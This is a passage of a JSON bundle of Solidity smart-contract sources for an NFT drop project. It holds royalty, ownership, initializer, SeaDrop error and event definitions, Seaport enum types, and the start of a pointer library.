_setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator)\n internal\n virtual\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId` to zero.\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), 0)\n }\n }\n}\n"
},
"lib/solady/src/auth/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple single owner authorization mixin.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/auth/Ownable.sol)\n/// @dev While the ownable portion follows\n/// [EIP-173](https://eips.ethereum.org/EIPS/eip-173) for compatibility,\n/// the nomenclature for the 2-step ownership handover may be unique to this codebase.\nabstract contract Ownable {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The caller is not authorized to call the function.\n error Unauthorized();\n\n /// @dev The `newOwner` cannot be the zero address.\n error NewOwnerIsZeroAddress();\n\n /// @dev The `pendingOwner` does not have a valid handover request.\n error NoHandoverRequest();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The ownership is transferred from `oldOwner` to `newOwner`.\n /// This event is intentionally kept the same as OpenZeppelin's Ownable to be\n /// compatible with indexers and [EIP-173](https://eips.ethereum.org/EIPS/eip-173),\n /// despite it not being as lightweight as a single argument event.\n event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);\n\n /// @dev An ownership handover to `pendingOwner` has been requested.\n event OwnershipHandoverRequested(address indexed pendingOwner);\n\n /// @dev The ownership handover to `pendingOwner` has been canceled.\n event OwnershipHandoverCanceled(address indexed pendingOwner);\n\n /// @dev `keccak256(bytes(\"OwnershipTransferred(address,address)\"))`.\n uint256 private constant _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE =\n 0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverRequested(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE =\n 0xdbf36a107da19e49527a7176a1babf963b4b0ff8cde35ee35d6cd8f1f9ac7e1d;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverCanceled(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE =\n 0xfa7b8eab7da67f412cc9575ed43464468f9bfbae89d1675917346ca6d8fe3c92;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The owner slot is given by: `not(_OWNER_SLOT_NOT)`.\n /// It is intentionally chosen to be a high value\n /// to avoid collision with lower slots.\n /// The choice of manual storage layout is to enable compatibility\n /// with both regular and upgradeable contracts.\n uint256 private constant _OWNER_SLOT_NOT = 0x8b78c6d8;\n\n /// The ownership handover slot of `newOwner` is given by:\n /// ```\n /// mstore(0x00, or(shl(96, user), _HANDOVER_SLOT_SEED))\n /// let handoverSlot := keccak256(0x00, 0x20)\n /// ```\n /// It stores the expiry timestamp of the two-step ownership handover.\n uint256 private constant _HANDOVER_SLOT_SEED = 0x389a75e1;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Initializes the owner directly without authorization guard.\n /// This function must be called upon initialization,\n /// regardless of whether the contract is upgradeable or not.\n /// This is to enable generalization to both regular and upgradeable contracts,\n /// and to save gas in case the initial owner is not the caller.\n /// For performance reasons, this function will not check if there\n /// is an existing owner.\n function _initializeOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Store the new value.\n sstore(not(_OWNER_SLOT_NOT), newOwner)\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, 0, newOwner)\n }\n }\n\n /// @dev Sets the owner directly without authorization guard.\n function _setOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n let ownerSlot := not(_OWNER_SLOT_NOT)\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, sload(ownerSlot), newOwner)\n // Store the new value.\n sstore(ownerSlot, newOwner)\n }\n }\n\n /// @dev Throws if the sender is not the owner.\n function _checkOwner() internal view virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // If the caller is not the stored owner, revert.\n if iszero(eq(caller(), sload(not(_OWNER_SLOT_NOT)))) {\n mstore(0x00, 0x82b42900) // `Unauthorized()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC UPDATE FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Allows the owner to transfer the ownership to `newOwner`.\n function transferOwnership(address newOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(shl(96, newOwner)) {\n mstore(0x00, 0x7448fbae) // `NewOwnerIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n }\n _setOwner(newOwner);\n }\n\n /// @dev Allows the owner to renounce their ownership.\n function renounceOwnership() public payable virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /// @dev Request a two-step ownership handover to the caller.\n /// The request will automatically expire in 48 hours (172800 seconds) by default.\n function requestOwnershipHandover() public payable virtual {\n unchecked {\n uint256 expires = block.timestamp + ownershipHandoverValidFor();\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to `expires`.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), expires)\n // Emit the {OwnershipHandoverRequested} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE, caller())\n }\n }\n }\n\n /// @dev Cancels the two-step ownership handover to the caller, if any.\n function cancelOwnershipHandover() public payable virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), 0)\n // Emit the {OwnershipHandoverCanceled} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE, caller())\n }\n }\n\n /// @dev Allows the owner to complete the two-step ownership handover to `pendingOwner`.\n /// Reverts if there is no existing ownership handover requested by `pendingOwner`.\n function completeOwnershipHandover(address pendingOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n let handoverSlot := keccak256(0x0c, 0x20)\n // If the handover does not exist, or has expired.\n if gt(timestamp(), sload(handoverSlot)) {\n mstore(0x00, 0x6f5e8818) // `NoHandoverRequest()`.\n revert(0x1c, 0x04)\n }\n // Set the handover slot to 0.\n sstore(handoverSlot, 0)\n }\n _setOwner(pendingOwner);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC READ FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the owner of the contract.\n function owner() public view virtual returns (address result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := sload(not(_OWNER_SLOT_NOT))\n }\n }\n\n /// @dev Returns the expiry timestamp for the two-step ownership handover to `pendingOwner`.\n function ownershipHandoverExpiresAt(address pendingOwner)\n public\n view\n virtual\n returns (uint256 result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute the handover slot.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n // Load the handover slot.\n result := sload(keccak256(0x0c, 0x20))\n }\n }\n\n /// @dev Returns how long a two-step ownership handover is valid for in seconds.\n function ownershipHandoverValidFor() public view virtual returns (uint64) {\n return 48 * 3600;\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* MODIFIERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Marks a function as only callable by the owner.\n modifier onlyOwner() virtual {\n _checkOwner();\n _;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.19;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (address(this).code.length == 0 && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { CreatorPayout, PublicDrop } from \"./ERC721SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @notice The SeaDrop token types, emitted as part of\n * `event SeaDropTokenDeployed`.\n */\n enum SEADROP_TOKEN_TYPE {\n ERC721_STANDARD,\n ERC721_CLONE,\n ERC721_UPGRADEABLE,\n ERC1155_STANDARD,\n ERC1155_CLONE,\n ERC1155_UPGRADEABLE\n }\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed(SEADROP_TOKEN_TYPE tokenType);\n\n /**\n * @notice Revert with an error if the function selector is not supported.\n */\n error UnsupportedFunctionSelector(bytes4 selector);\n\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total,\n uint256 maxTokenSupplyForStage\n );\n\n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed(address got);\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert if the creator payouts are not set.\n */\n error CreatorPayoutsNotSet();\n\n /**\n * @dev Revert if the creator payout basis points are zero.\n */\n error CreatorPayoutBasisPointsCannotBeZero();\n\n /**\n * @dev Revert if the total basis points for the creator payouts\n * don't equal exactly 10_000.\n */\n error InvalidCreatorPayoutTotalBasisPoints(\n uint256 totalReceivedBasisPoints\n );\n\n /**\n * @dev Revert if the creator payout basis points don't add up to 10_000.\n */\n error InvalidCreatorPayoutBasisPoints(uint256 totalReceivedBasisPoints);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if a signer is already included in mapping\n * when adding.\n */\n error DuplicateSigner();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed(address got);\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert if the start time is greater than the end time.\n */\n error InvalidStartAndEndTime(uint256 startTime, uint256 endTime);\n\n /**\n * @dev Revert with an error if the signer payment token is not the same.\n */\n error InvalidSignedPaymentToken(address got, address want);\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(\n address paymentToken,\n uint256 got,\n uint256 minimum\n );\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed\n * maxTotalMintableByWalletPerToken is greater than the maximum\n * specified.\n */\n error InvalidSignedMaxTotalMintableByWalletPerToken(\n uint256 got,\n uint256 maximum\n );\n\n /**\n * @dev Revert with an error if the fromTokenId is not within range.\n */\n error InvalidSignedFromTokenId(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if the toTokenId is not within range.\n */\n error InvalidSignedToTokenId(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev Revert with an error if the contract has no balance to withdraw.\n */\n error NoBalanceToWithdraw();\n\n /**\n * @dev Revert with an error if the caller is not an allowed Seaport.\n */\n error InvalidCallerOnlyAllowedSeaport(address caller);\n\n /**\n * @dev Revert with an error if the order does not have the ERC1155 magic\n * consideration item to signify a consecutive mint.\n */\n error MustSpecifyERC1155ConsiderationItemForSeaDropMint();\n\n /**\n * @dev Revert with an error if the extra data version is not supported.\n */\n error UnsupportedExtraDataVersion(uint8 version);\n\n /**\n * @dev Revert with an error if the extra data encoding is not supported.\n */\n error InvalidExtraDataEncoding(uint8 version);\n\n /**\n * @dev Revert with an error if the provided substandard is not supported.\n */\n error InvalidSubstandard(uint8 substandard);\n\n /**\n * @dev Revert with an error if the implementation contract is called without\n * delegatecall.\n */\n error OnlyDelegateCalled();\n\n /**\n * @dev Revert with an error if the provided allowed Seaport is the\n * zero address.\n */\n error AllowedSeaportCannotBeZeroAddress();\n\n /**\n * @dev Emit an event when allowed Seaport contracts are updated.\n */\n event AllowedSeaportUpdated(address[] allowedSeaport);\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n *\n * @param payer The address who payed for the tx.\n * @param dropStageIndex The drop stage index. Items minted through\n * public mint have dropStageIndex of 0\n */\n event SeaDropMint(address payer, uint256 dropStageIndex);\n\n /**\n * @dev An event with updated allow list data.\n *\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI.\n */\n event DropURIUpdated(string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address.\n */\n event CreatorPayoutsUpdated(CreatorPayout[] creatorPayouts);\n\n /**\n * @dev An event with the updated allowed fee recipient.\n */\n event AllowedFeeRecipientUpdated(\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated signer.\n */\n event SignerUpdated(address indexed signer, bool indexed allowed);\n\n /**\n * @dev An event with the updated payer.\n */\n event PayerUpdated(address indexed payer, bool indexed allowed);\n}\n"
},
"lib/seaport/lib/seaport-types/src/lib/ConsiderationEnums.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nenum OrderType {\n // 0: no partial fills, anyone can execute\n FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n PARTIAL_RESTRICTED,\n\n // 4: contract order type\n CONTRACT\n}\n\nenum BasicOrderType {\n // 0: no partial fills, anyone can execute\n ETH_TO_ERC721_FULL_OPEN,\n\n // 1: partial fills supported, anyone can execute\n ETH_TO_ERC721_PARTIAL_OPEN,\n\n // 2: no partial fills, only offerer or zone can execute\n ETH_TO_ERC721_FULL_RESTRICTED,\n\n // 3: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 4: no partial fills, anyone can execute\n ETH_TO_ERC1155_FULL_OPEN,\n\n // 5: partial fills supported, anyone can execute\n ETH_TO_ERC1155_PARTIAL_OPEN,\n\n // 6: no partial fills, only offerer or zone can execute\n ETH_TO_ERC1155_FULL_RESTRICTED,\n\n // 7: partial fills supported, only offerer or zone can execute\n ETH_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 8: no partial fills, anyone can execute\n ERC20_TO_ERC721_FULL_OPEN,\n\n // 9: partial fills supported, anyone can execute\n ERC20_TO_ERC721_PARTIAL_OPEN,\n\n // 10: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC721_FULL_RESTRICTED,\n\n // 11: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC721_PARTIAL_RESTRICTED,\n\n // 12: no partial fills, anyone can execute\n ERC20_TO_ERC1155_FULL_OPEN,\n\n // 13: partial fills supported, anyone can execute\n ERC20_TO_ERC1155_PARTIAL_OPEN,\n\n // 14: no partial fills, only offerer or zone can execute\n ERC20_TO_ERC1155_FULL_RESTRICTED,\n\n // 15: partial fills supported, only offerer or zone can execute\n ERC20_TO_ERC1155_PARTIAL_RESTRICTED,\n\n // 16: no partial fills, anyone can execute\n ERC721_TO_ERC20_FULL_OPEN,\n\n // 17: partial fills supported, anyone can execute\n ERC721_TO_ERC20_PARTIAL_OPEN,\n\n // 18: no partial fills, only offerer or zone can execute\n ERC721_TO_ERC20_FULL_RESTRICTED,\n\n // 19: partial fills supported, only offerer or zone can execute\n ERC721_TO_ERC20_PARTIAL_RESTRICTED,\n\n // 20: no partial fills, anyone can execute\n ERC1155_TO_ERC20_FULL_OPEN,\n\n // 21: partial fills supported, anyone can execute\n ERC1155_TO_ERC20_PARTIAL_OPEN,\n\n // 22: no partial fills, only offerer or zone can execute\n ERC1155_TO_ERC20_FULL_RESTRICTED,\n\n // 23: partial fills supported, only offerer or zone can execute\n ERC1155_TO_ERC20_PARTIAL_RESTRICTED\n}\n\nenum BasicOrderRouteType {\n // 0: provide Ether (or other native token) to receive offered ERC721 item.\n ETH_TO_ERC721,\n\n // 1: provide Ether (or other native token) to receive offered ERC1155 item.\n ETH_TO_ERC1155,\n\n // 2: provide ERC20 item to receive offered ERC721 item.\n ERC20_TO_ERC721,\n\n // 3: provide ERC20 item to receive offered ERC1155 item.\n ERC20_TO_ERC1155,\n\n // 4: provide ERC721 item to receive offered ERC20 item.\n ERC721_TO_ERC20,\n\n // 5: provide ERC1155 item to receive offered ERC20 item.\n ERC1155_TO_ERC20\n}\n\nenum ItemType {\n // 0: ETH on mainnet, MATIC on polygon, etc.\n NATIVE,\n\n // 1: ERC20 items (ERC777 and ERC20 analogues could also technically work)\n ERC20,\n\n // 2: ERC721 items\n ERC721,\n\n // 3: ERC1155 items\n ERC1155,\n\n // 4: ERC721 items where a number of tokenIds are supported\n ERC721_WITH_CRITERIA,\n\n // 5: ERC1155 items where a number of ids are supported\n ERC1155_WITH_CRITERIA\n}\n\nenum Side {\n // 0: Items that can be spent\n OFFER,\n\n // 1: Items that must be received\n CONSIDERATION\n}\n"
},
"lib/seaport/lib/seaport-types/src/helpers/PointerLibraries.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ntype CalldataPointer is uint256;\n\ntype ReturndataPointer is uint256;\n\ntype MemoryPointer is uint256;\n\nusing CalldataPointerLib for CalldataPointer global;\nusing MemoryPointerLib for MemoryPointer global;\nusing ReturndataPointerLib for ReturndataPointer global;\n\nusing CalldataReaders for CalldataPointer global;\nusing ReturndataReaders for ReturndataPointer global;\nusing MemoryReaders for MemoryPointer global;\nusing MemoryWriters for MemoryPointer global;\n\nCalldataPointer constant CalldataStart = CalldataPointer.wrap(0x04);\nMemoryPointer constant FreeMemoryPPtr = MemoryPointer.wrap(0x40);\nuint256 constant IdentityPrecompileAddress = 0x4;\nuint256 constant OffsetOrLengthMask = 0xffffffff;\nuint256 constant _OneWord = 0x20;\nuint256 constant _FreeMemoryPointerSlot = 0x40;\n\n/// @dev Allocates `size` bytes in memory by increasing the free memory pointer\n/// and returns the memory pointer to the first byte of the allocated region.\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction malloc(uint256 size) pure returns (MemoryPointer mPtr) {\n assembly {\n mPtr := mload(_FreeMemoryPointerSlot)\n mstore(_FreeMemoryPointerSlot, add(mPtr, size))\n }\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction getFreeMemoryPointer() pure returns (MemoryPointer mPtr) {\n mPtr = FreeMemoryPPtr.readMemoryPointer();\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction setFreeMemoryPointer(MemoryPointer mPtr) pure {\n FreeMemoryPPtr.write(mPtr);\n}\n\nlibrary CalldataPointerLib {\n function lt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(CalldataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `cdPtr + headOffset` to a calldata.\n /// pointer `cdPtr` must point to some parent object with a dynamic\n /// type's head stored at `cdPtr + headOffset`.\n function pptr(\n CalldataPointer cdPtr,\n uint256 headOffset\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(\n cdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n 